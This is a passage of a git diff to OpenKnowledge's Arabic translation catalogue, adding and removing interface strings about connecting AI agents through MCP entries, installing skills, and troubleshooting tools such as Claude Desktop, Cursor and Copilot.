-5619,7 +5825,6 @@"yvG-l1": ["فتح لوحة فحص المصدر"],"yvHDYG": ["Claude Desktop"],"yvSAuM": ["أوقف الإصلاح. تبقى الملفات المُصلَحة بالفعل كما هي."],- "ywVfOE": ["تم نقل مهارة هذا المشروع إلى استوديو المهارات."],"yxF19Y": [["0",diff --git a/packages/app/src/locales/ar/messages.po b/packages/app/src/locales/ar/messages.poindex 8fe3e9b78..16191291b 100644--- a/packages/app/src/locales/ar/messages.po+++ b/packages/app/src/locales/ar/messages.po@@ -330,6 +330,12 @@ msgstr "يتيح {0} لـ {1} التصرف دون سؤال"msgid "{0} needs {1}"msgstr "يحتاج {0} إلى {1}"+#. placeholder {0}: removed.dependent+#. placeholder {1}: removed.prerequisite+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{0} needs {1}. Turn both off, or keep both on."+msgstr "{0} يحتاج إلى {1}. أوقف كليهما، أو أبقِ كليهما مفعّلين."+#. placeholder {0}: item.displayName#: src/components/acp/ThreadView.tsxmsgid "{0} needs replacing"@@ -470,6 +476,31 @@ msgstr "قبل {0} سنة"msgid "{accessibleLabel} (conflict)"msgstr "{accessibleLabel} (تعارض)"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude-desktop.per-tool-approval"+msgstr "يطلب منك {agent} الموافقة على كل أداة من أدوات OpenKnowledge عند استخدامها لأول مرة."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.session-injection"+msgstr "يحصل {agent} على أدوات OpenKnowledge في كل مرة يشغّله فيها OpenKnowledge؛ ولا يُكتب شيء في إعداداته."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.pi.folder-trust"+msgstr "لا يحمّل {agent} امتدادات المشروع إلا في المجلدات التي وثقت بها؛ إذا لم تظهر الأدوات، فثق بهذا المجلد في {agent}."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.copilot.shared-workspace-config"+msgstr "يقرأ {agent} إعدادات MCP لمساحة العمل التي يكتبها OpenKnowledge لصالح {sourceAgent}؛ وإزالتها لأحدهما تزيلها لكليهما."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.openclaw.central-store-missing"+msgstr "مخزن المهارات المركزي لـ {agent} غير موجود بعد؛ شغّل {agent} مرة واحدة لينشئه، ثم أعد المحاولة."+#: src/components/acp/ThreadView.tsxmsgid "{agentName} couldn't start a conversation."msgstr "تعذّر على {agentName} بدء محادثة."@@ -520,6 +551,10 @@ msgstr "{boldName} جزء من إضافة <0>{0}</0>{pluginVersion} — للقرmsgid "{boldName} lives outside this project, at <0>{source}</0> — agents running here can't load it. Copy it in to edit."msgstr "{boldName} موجود خارج هذا المشروع، في <0>{source}</0> — والوكلاء العاملون هنا لا يمكنهم تحميله. انسخه إلى هنا لتحريره."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{changeCount, plural, one {# change} other {# changes}}"+msgstr "{changeCount, plural, zero {لا تغييرات} one {تغيير واحد} two {تغييران} few {# تغييرات} many {# تغييرًا} other {# تغيير}}"+#: src/components/EditorFooter.tsxmsgid "{chars, plural, one {char} other {chars}}"msgstr "{chars, plural, zero {حرف} one {حرف} two {حرفان} few {أحرف} many {حرفًا} other {حرف}}"@@ -609,6 +644,26 @@ msgstr "{days, plural, zero {قبل # يوم} one {قبل يوم واحد} two {msgid "{days}d ago"msgstr "قبل {days} يوم"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge cannot safely replace that entry in this file's format."+msgstr "{dependent} يحتاج إلى {prerequisite}، ولا يستطيع OpenKnowledge استبدال هذا الإدخال بأمان في تنسيق هذا الملف."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge could not find this agent on this machine."+msgstr "{dependent} يحتاج إلى {prerequisite}، ولم يعثر OpenKnowledge على هذا الوكيل على هذا الجهاز."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge does not recognize that entry. Tick {prerequisite} to replace it, then save again."+msgstr "{dependent} يحتاج إلى {prerequisite}، ولا يتعرّف OpenKnowledge على ذلك الإدخال. فعّل {prerequisite} لاستبداله، ثم احفظ مرة أخرى."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and this agent has no file of that kind on this machine yet. Open the agent once, then try again."+msgstr "{dependent} يحتاج إلى {prerequisite}، ولا يملك هذا الوكيل ملفًا من هذا النوع على هذا الجهاز بعد. افتح الوكيل مرة واحدة ثم أعد المحاولة."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, which OpenKnowledge cannot set up for you. Its setup guide has the manual steps."+msgstr "{dependent} يحتاج إلى {prerequisite}، ولا يستطيع OpenKnowledge إعداده لك. يحتوي دليل الإعداد الخاص به على الخطوات اليدوية."+#: src/editor/extensions/JsxComponentView.tsxmsgid "{descriptorLabel} — render error, source editable below"msgstr "{descriptorLabel} — خطأ في العرض، يمكن تحرير المصدر أدناه"@@ -650,7 +705,7 @@ msgstr "{displayName} ({bin}) غير مثبَّت أو غير موجود في PA#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} CLI"msgstr "واجهة {displayName} السطرية"@@ -660,7 +715,7 @@ msgid "{displayName} CLI, {hint}"msgstr "واجهة {displayName} السطرية، {hint}"#: src/components/handoff/agent-launcher-labels.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} Desktop"msgstr "{displayName} Desktop"@@ -1064,10 +1119,6 @@ msgstr "<{componentName}> ليس مكوّنًا معروفًا. انسخ المmsgid "<{descriptorLabel}> failed to render (likely a bad prop). Copy the source to see what went wrong, or delete the block."msgstr "تعذّر عرض <{descriptorLabel}> (على الأرجح خاصية غير صالحة). انسخ المصدر لمعرفة الخطأ، أو احذف الكتلة."-#: src/components/settings/AiToolsSection.tsx-msgid "<0>~/.ok/bin</0> and <1>~/.ok/env.sh</1> stay either way — the app always maintains them."-msgstr "يبقى <0>~/.ok/bin</0> و<1>~/.ok/env.sh</1> في الحالتين — يتولى التطبيق صيانتهما دائمًا."-#: src/editor/components/Mirror.tsxmsgid "<0>Mirror — pick a source.</0> Set <1>src</1> + <2>anchor</2> via the property panel to point at a <3><MirrorSource></3> elsewhere."msgstr "<0>مرآة — اختر مصدرًا.</0> اضبط <1>src</1> + <2>anchor</2> من لوحة الخصائص للإشارة إلى <3><MirrorSource></3> في مكان آخر."@@ -1493,6 +1544,14 @@ msgstr "إضافة عنصر إلى {keyName}"msgid "Add link"msgstr "إضافة رابط"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill"+msgstr "إضافة MCP ومهارة"++#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill for {rowLabel}"+msgstr "إضافة MCP ومهارة لـ {rowLabel}"+#: src/components/settings/SearchSection.tsxmsgid "Add meaning-based ranking to search so conceptually-related pages surface even when they share no keywords."msgstr "أضف ترتيبًا قائمًا على المعنى إلى البحث لتظهر الصفحات المرتبطة مفاهيميًا حتى لو لم تشترك في أي كلمات مفتاحية."@@ -1531,10 +1590,9 @@ msgstr "إضافة تبويب"msgid "Add tag"msgstr "إضافة وسم"-#. Checkbox in Settings → AI tools & CLI that adds the ok CLI to the user's shell PATH#. Toggle in the first-launch dialog that adds the ok CLI to the user's shell PATH#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Add the <0>ok</0> command to your terminal"msgstr "أضف الأمر <0>ok</0> إلى طرفيتك"@@ -1568,16 +1626,15 @@ msgstr "أضف تعليقاتك إلى هذه الرسالة"msgid "Added"msgstr "أُضيف"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds a global OpenKnowledge MCP entry for this agent."+msgstr "يضيف إدخال MCP عامًا لـ OpenKnowledge لهذا الوكيل."+#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Adds a managed block to"msgstr "يضيف كتلة مُدارة إلى"-#. placeholder {0}: status.path.rcFilesToTouch.join(', ')-#: src/components/settings/AiToolsSection.tsx-msgid "Adds a managed block to {0}"-msgstr "يضيف كتلة مُدارة إلى {0}"-#. Subtext under the project AI-tools checkbox#: src/components/ProjectAiToolsField.tsxmsgid "Adds an OpenKnowledge MCP entry and the project skill to <0>{toolList}</0>, so your agents can read and edit your files."@@ -1588,6 +1645,20 @@ msgstr "يضيف إدخال MCP الخاص بـ OpenKnowledge ومهارة الmsgid "Adds an OpenKnowledge MCP entry to <0>{connectToolList}</0>, so your agents can read and edit your files."msgstr "يضيف إدخال MCP الخاص بـ OpenKnowledge إلى <0>{connectToolList}</0>، ليتمكن وكلاؤك من قراءة ملفاتك وتحريرها."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds an OpenKnowledge MCP entry to this project's agent config."+msgstr "يضيف إدخال MCP لـ OpenKnowledge إلى إعدادات الوكيل الخاصة بهذا المشروع."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.user-config"+msgstr "يضيف OpenKnowledge إلى إعدادات MCP الخاصة بـ {agent} نفسه، ليصبح كل مشروع على هذا الجهاز في المتناول."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.project-config"+msgstr "يضيف OpenKnowledge إلى إعدادات MCP التي يقرؤها {agent} في هذا المشروع، ليتمكن من قراءة هذه المستندات والبحث فيها وتحريرها."+#: src/components/ReportBugDialogBody.tsxmsgid "Adds telemetry, server state, and runtime info when available. Credentials are always removed; document names, if included, appear in cleartext (not redacted)."msgstr "يضيف بيانات القياس وحالة الخادم ومعلومات وقت التشغيل عند توفرها. تُزال بيانات الاعتماد دائمًا؛ وتظهر أسماء المستندات، إن أُدرجت، كنص صريح (غير مخفي)."@@ -1640,6 +1711,11 @@ msgstr "محادثات الوكيل"msgid "Agent configuration file"msgstr "ملف إعداد الوكيل"+#: src/components/settings/AgentConnectionsSection.tsx+#: src/components/settings/SettingsDialogShell.tsx+msgid "Agent connections"+msgstr "اتصالات الوكلاء"+#: src/components/acp/ThreadView.tsxmsgid "Agent mode"msgstr "وضع الوكيل"@@ -1661,23 +1737,14 @@ msgid "Agent transcript"msgstr "نص جلسة الوكيل"#: src/components/ExploreSkills.tsx+#: src/components/settings/SettingsDialogShell.tsxmsgid "Agents"msgstr "الوكلاء"-#: src/components/settings/AiToolsSection.tsx-msgid "AI tool management is only available in the OpenKnowledge desktop app."-msgstr "إدارة أدوات الذكاء الاصطناعي متاحة فقط في تطبيق OpenKnowledge لسطح المكتب."--#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/settings/SettingsDialogShell.tsxmsgid "AI tools"msgstr "أدوات الذكاء الاصطناعي"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/SettingsDialogShell.tsx-msgid "AI tools & CLI"-msgstr "أدوات الذكاء الاصطناعي وواجهة سطر الأوامر"-#: src/editor/bubble-menu/ImageAlignButtons.tsxmsgid "Align center"msgstr "محاذاة إلى الوسط"@@ -2397,14 +2464,6 @@ msgstr "تلفت المربعات التنبيهية الانتباه إلى اmsgid "Can't nest projects. An OpenKnowledge project already exists at <0>{rootPath}</0>. Choose a location outside it, or open that project instead."msgstr "لا يمكن تداخل المشاريع. يوجد بالفعل مشروع OpenKnowledge في <0>{rootPath}</0>. اختر موقعًا خارجه، أو افتح ذلك المشروع بدلًا من ذلك."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Can't safely edit this project config"-msgstr "لا يمكن تحرير إعداد هذا المشروع بأمان"--#: src/components/settings/AiToolsSection.tsx-msgid "Can't safely edit this tool's config"-msgstr "لا يمكن تحرير إعداد هذه الأداة بأمان"-#: src/lib/share/run-share-action.tsmsgid "Can't share this path."msgstr "تعذّرت مشاركة هذا المسار."@@ -2433,6 +2492,7 @@ msgstr "تعذّرت مشاركة هذا المسار."#: src/components/PublishToGitHubDialog.tsx#: src/components/ReportBugDialogBody.tsx#: src/components/SeedDialog.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/LinkPreviewsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/NetworkAccessSection.tsx@@ -2659,6 +2719,15 @@ msgstr "اختيار أيقونة"msgid "Choose what a new tab starts"msgstr "اختر ما تبدأ به علامة تبويب جديدة"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up for {0}."+msgstr "اختر ما يعدّه OpenKnowledge لـ {0}."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up."+msgstr "اختر ما يعدّه OpenKnowledge."+#: src/comments/CommentSendFooter.tsxmsgid "Choose where to send these comments"msgstr "اختر إلى أين تُرسل هذه التعليقات"@@ -2671,9 +2740,9 @@ msgstr "اختيار وجهة إرسال هذه الرسالة"msgid "Choose whether this project's OpenKnowledge setup, including its AI-tool connections, is saved with the project so teammates get it too, or kept only on your computer."msgstr "اختر ما إذا كان إعداد OpenKnowledge لهذا المشروع، بما فيه اتصالات أدوات الذكاء الاصطناعي، يُحفظ مع المشروع ليحصل عليه زملاؤك أيضًا، أم يبقى على جهازك وحده."-#: src/components/settings/ConfigureAgentsSection.tsx-msgid "Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them."-msgstr "اختر الوكلاء الذين يظهرون في قوائم الوكلاء في التطبيق، مثل Ask AI وOpen with AI وزر + لمحادثة جديدة. أوقف وكيلاً لإخفائه منها جميعاً."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Choose which agents appear in agent menus across the app, and set them up to read and update your documents."+msgstr "اختر الوكلاء الذين يظهرون في قوائم الوكلاء في التطبيق، وأعدّهم ليتمكنوا من قراءة مستنداتك وتحديثها."#. Section label above the light/dark/system cards in the first-launch dialog#: src/components/McpConsentDialogBody.tsx@@ -3147,7 +3216,6 @@ msgstr "تحذيرات الإعداد"#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/TerminalNewChatButton.tsxmsgid "Configure agents"@@ -3212,10 +3280,6 @@ msgstr "اربط GitHub للمتابعة."msgid "Connect OpenKnowledge to other tools you use."msgstr "اربط OpenKnowledge بالأدوات الأخرى التي تستخدمها."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connect the AI tools you use to this specific project. These files live in the project folder, so anyone who opens it gets the same setup."-msgstr "اربط أدوات الذكاء الاصطناعي التي تستخدمها بهذا المشروع تحديدًا. تعيش هذه الملفات في مجلد المشروع، فيحصل كل من يفتحه على الإعداد نفسه."-#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -3244,6 +3308,10 @@ msgstr "اربط أدوات الذكاء الاصطناعي لديك"msgid "Connect your AI tools to this project"msgstr "ربط أدوات الذكاء الاصطناعي لديك بهذا المشروع"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Connected"+msgstr "متصل"+#. placeholder {0}: response.dimensions#: src/components/settings/SearchSection.tsxmsgid "Connected — this endpoint returns {0}-dimension vectors."@@ -3292,10 +3360,18 @@ msgstr "خطأ في الاتصال — أعد المحاولة"msgid "Connection lost — keep this tab open, your edits will sync when reconnected"msgstr "فُقد الاتصال — أبقِ هذا التبويب مفتوحًا، وستُزامَن تعديلاتك عند إعادة الاتصال"-#. Next step for a Codex project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connects automatically the next time you open this project in a trusted Codex session."-msgstr "يتصل تلقائيًا في المرة التالية التي تفتح فيها هذا المشروع في جلسة Codex موثوقة."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.trust-gated"+msgstr "يتصل تلقائيًا في المرة التالية التي تفتح فيها هذا المشروع في جلسة {agent} موثوقة."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to OpenKnowledge in every project on this machine."+msgstr "يربط الوكيل بـ OpenKnowledge في كل مشروع على هذا الجهاز."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to this project so it can read, search, and edit your documents."+msgstr "يربط الوكيل بهذا المشروع ليتمكن من قراءة مستنداتك والبحث فيها وتحريرها."#: src/components/acp/working-status.tsmsgid "Contemplating…"@@ -3663,9 +3739,8 @@ msgid "Couldn't add that comment."msgstr "تعذّرت إضافة ذلك التعليق."#. placeholder {0}: err instanceof Error ? err.message : String(err)-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Couldn't apply the change: {0}"msgstr "تعذّر تطبيق التغيير: {0}"@@ -3673,6 +3748,10 @@ msgstr "تعذّر تطبيق التغيير: {0}"msgid "Couldn't check whether {filePath} is still conflicted — retrying."msgstr "تعذر التحقق مما إذا كان {filePath} لا يزال متعارضًا — تجري إعادة المحاولة."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Couldn't check which tools are connected."+msgstr "تعذّر تحديد الأدوات المتّصلة."+#: src/components/settings/SearchSection.tsxmsgid "Couldn't clear the key — please try again."msgstr "تعذّر مسح المفتاح — يرجى المحاولة مرة أخرى."@@ -3948,7 +4027,7 @@ msgstr "تعذّر الوصول إلى خادم التعاون — {errorDetail}msgid "Couldn't reach GitHub. Try again?"msgstr "تعذّر الوصول إلى GitHub. هل تعيد المحاولة؟"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Couldn't reach the agent registry."msgstr "تعذّر الوصول إلى سجل الوكلاء."@@ -4401,11 +4480,6 @@ msgstr "نقطة نهاية مخصصة"msgid "Custom HTML with a live preview pane (sandboxed iframe)."msgstr "HTML مخصص مع لوحة معاينة حية (إطار معزول)."-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Custom open-knowledge entry — not managed by OpenKnowledge"-msgstr "مدخل open-knowledge مخصص — غير مُدار من OpenKnowledge"-#: src/components/settings/SkillTargetsPicker.tsxmsgid "Custom skills folder path"msgstr "مسار مجلد المهارات المخصص"@@ -4776,6 +4850,10 @@ msgstr "قطع الاتصال"msgid "Disconnecting"msgstr "يجري قطع الاتصال"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio."+msgstr "تُدار مهارات الاكتشاف لجميع أدوات الذكاء الاصطناعي معًا. ثبّت هذه المهارة من استوديو المهارات ضمن الإعدادات."+#: src/components/BranchRecycleBanner.tsx#: src/components/NavigatorApp.tsx#: src/components/OnboardingCard.tsx@@ -5260,17 +5338,17 @@ msgstr "محتوى بداية فارغ"#. placeholder {0}: agent.name#. placeholder {0}: plugin.label#. placeholder {0}: rule.name-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/markdownlint-rule-browser.tsxmsgid "Enable {0}"msgstr "تفعيل {0}"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} CLI"msgstr "تفعيل واجهة {displayName} السطرية"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} Desktop"msgstr "تفعيل {displayName} Desktop"@@ -5416,11 +5494,6 @@ msgstr "أدخل عنوان URL صالحًا، على سبيل المثال httpmsgid "Enter the public origin your tunnel serves, for example https://notes.example.com"msgstr "أدخل الأصل العام الذي يخدمه النفق الخاص بك، على سبيل المثال https://notes.example.com"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Entry"-msgstr "مدخل"-#: src/components/settings/ContentRulesSection.tsxmsgid "Error"msgstr "خطأ"@@ -5563,7 +5636,7 @@ msgstr "يثبّت الكشف منفذًا ثابتًا لكي يبقى هدف#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "External apps"msgstr "تطبيقات خارجية"@@ -5947,8 +6020,6 @@ msgstr "الحقول"#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/share-metadata-rows.tsx#: src/editor/slash-command/component-items.tsx#: src/lib/native-menu-catalog.ts@@ -6356,9 +6427,9 @@ msgstr "GitHub، أو رابط git، أو مسار محلي."msgid "Give it a name before editing its colors."msgstr "امنحها اسمًا قبل تعديل ألوانها."-#: src/components/settings/AiToolsSection.tsx-msgid "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."-msgstr "امنح أدوات الذكاء الاصطناعي التي تستخدمها إذن قراءة مشاريعك وتحديثها. تحديد مربع يُعدّه فورًا؛ وإلغاء التحديد يزيله."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Gives the agent instructions for working with your documents and keeps its edits attributed."+msgstr "يمنح الوكيل إرشادات للعمل مع مستنداتك ويحافظ على نسبة تعديلاته إليه."#: src/components/settings/LintingSection.tsxmsgid "Glob patterns this schema applies to"@@ -6370,6 +6441,10 @@ msgstr "أنماط glob التي ينطبق عليها هذا المخطط"msgid "Global"msgstr "عام"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Global MCP server"+msgstr "خادم MCP عام"+#: src/lib/keyboard-shortcuts.tsmsgid "Global outside text fields"msgstr "عام خارج الحقول النصية"@@ -6509,6 +6584,7 @@ msgstr "مساعدة"#. Subtext under the discovery-skill checkbox#: src/components/McpConsentDialogBody.tsx+#: src/components/settings/AgentConnectionDialogs.tsxmsgid "Help your agents discover and use OpenKnowledge in any project."msgstr "ساعد وكلاءك على اكتشاف OpenKnowledge واستخدامه في أي مشروع."@@ -6718,15 +6794,13 @@ msgstr "عدد مرات جلب هذا الجهاز للتغييرات من مسmsgid "How to push manually"msgstr "كيفية الدفع يدويًا"-#. Link on an undetected tool row to its OpenKnowledge setup guide-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "How to set up"msgstr "كيفية الإعداد"-#. placeholder {0}: editor.label-#: src/components/settings/AiToolsSection.tsx-msgid "How to set up {0} (opens in browser)"-msgstr "كيفية إعداد {0} (يفتح في المتصفح)"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "How to set up {rowLabel}"+msgstr "كيفية إعداد {rowLabel}"#: src/components/settings/builtin-skill-copy.tsmsgid "How to set up new projects with OpenKnowledge."@@ -6785,6 +6859,21 @@ msgstr "المعرّف: {0}"msgid "Identical in both — {pick} still reads them."msgstr "متطابقة في الاثنين، وسيظل {pick} يقرأها."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.lm-studio.config-path-mismatch"+msgstr "إذا لم يعرض {agent} أدوات OpenKnowledge، فتحقق من أن مسار إعدادات MCP في إعداداته يطابق الملف الذي كتبه OpenKnowledge."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude.project-entry-not-approved"+msgstr "إذا لم يعرض {agent} أدوات OpenKnowledge، فشغّله في هذا المشروع ووافق على خادم OpenKnowledge مرة واحدة."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.cursor.project-entry-not-loaded"+msgstr "إذا لم يعرض {agent} أدوات OpenKnowledge، ففعّل الخادم من Settings → Tools & MCP؛ إذ يترك {agent} خوادم المشروع معطّلة حتى تفعّلها."+#: src/components/AutoSyncEnableWarning.tsxmsgid "If an update arrives for something you are editing, you choose which version to keep, like a merge conflict."msgstr "إذا وصل تحديث لشيء تحرّره، فأنت من يختار أي نسخة يُبقي، مثل تعارض الدمج."@@ -6888,7 +6977,7 @@ msgstr "في مستند الفهرس: توجد الإدخالات تحت عنو#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TerminalNewChatButton.tsxmsgid "In app"msgstr "داخل التطبيق"@@ -7075,6 +7164,7 @@ msgid "Insert, delete, move, copy, and indent source editor lines through CodeMimsgstr "أدرج أسطر محرر المصدر واحذفها وانقلها وانسخها وأزحها عبر خريطة مفاتيح CodeMirror الافتراضية."#: src/components/InstallInClaudeDesktopDialog.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/IntegrationsSection.tsx#: src/components/settings/ProjectSkillSection.tsx#: src/components/settings/SkillsStudioIntroDialog.tsx@@ -7096,6 +7186,10 @@ msgstr "تثبيت {0}"msgid "Install {brand} →"msgstr "تثبيت {brand} ←"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Install {rowLabel}"+msgstr "تثبيت {rowLabel}"+#: src/components/settings/SkillTargetsPicker.tsxmsgid "install a skill here first"msgstr "ثبّت مهارة هنا أولاً"@@ -7172,22 +7266,12 @@ msgstr "ثبّت واجهة gh السطرية"msgid "Install this skill"msgstr "ثبّت هذه المهارة"-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/LintingSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/SkillEditorActions.tsx#: src/components/SkillPluginBundleDialog.tsxmsgid "Installed"msgstr "مثبَّت"-#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."-msgstr "مثبَّت — الأمر ok متاح في الطرفيات الخارجية. إلغاء التحديد يزيله؛ وتظل طرفية OpenKnowledge المدمجة وأدوات الذكاء الاصطناعي تعمل."--#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working."-msgstr "تم التثبيت — يتوفر ok في الوحدات الطرفية الخارجية. تؤدي إزالة التحديد إلى إزالته؛ وستستمر أدوات الذكاء الاصطناعي لديك في العمل."-#. placeholder {0}: skill.name#. placeholder {1}: label(added)#: src/components/skill-actions.tsx@@ -7245,6 +7329,14 @@ msgstr "يُثبَّت لجميع مشاريعك"msgid "Installs into this project"msgstr "يُثبَّت في هذا المشروع"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge discovery skill for this agent."+msgstr "يثبّت مهارة اكتشاف OpenKnowledge لهذا الوكيل."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge project skill for this agent."+msgstr "يثبّت مهارة مشروع OpenKnowledge لهذا الوكيل."+#: src/components/SkillInstallMenu.tsxmsgid "Installs the skill to {path} — the first location holds its own copy"msgstr "يثبّت المهارة في {path} — الموقع الأول يحتفظ بنسختها الأصلية"@@ -7643,7 +7735,7 @@ msgstr "يجري تحميل {fileName}"msgid "Loading agent activity"msgstr "يجري تحميل نشاط الوكيل"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Loading agents…"msgstr "يجري تحميل الوكلاء…"@@ -7866,11 +7958,16 @@ msgstr "استجابة listPacks مشوّهة"msgid "Malformed plan response"msgstr "استجابة الخطة مشوّهة"+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx#: src/components/settings/ProjectSkillSection.tsxmsgid "Manage"msgstr "إدارة"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Manage {rowLabel}"+msgstr "إدارة {rowLabel}"+#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileTree.tsxmsgid "Manage hidden files in Settings → Ignore patterns."@@ -7884,13 +7981,10 @@ msgstr "إدارة مجلدات المهارات"msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."msgstr "أدِر حساب GitHub الذي يستخدمه OpenKnowledge لاستعراض مستودعاتك ومزامنتها."-#: src/components/settings/AiToolsSection.tsx-msgid "Managing AI tools is unavailable in this build."-msgstr "إدارة أدوات الذكاء الاصطناعي غير متاحة في هذه النسخة."--#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Managing project AI tools is unavailable in this build."-msgstr "إدارة أدوات الذكاء الاصطناعي للمشروع غير متاحة في هذه النسخة."+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Managing agent connections is unavailable in this build."+msgstr "إدارة اتصالات الوكلاء غير متاحة في هذا الإصدار."#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsx@@ -7946,12 +8040,9 @@ msgstr "يعمل الحد الأقصى من الوكلاء بالفعل"msgid "MCP auto-repair failed"msgstr "فشل الإصلاح التلقائي لـ MCP"-#. Group label above the per-editor MCP list in Settings → AI tools & CLI — each row wires 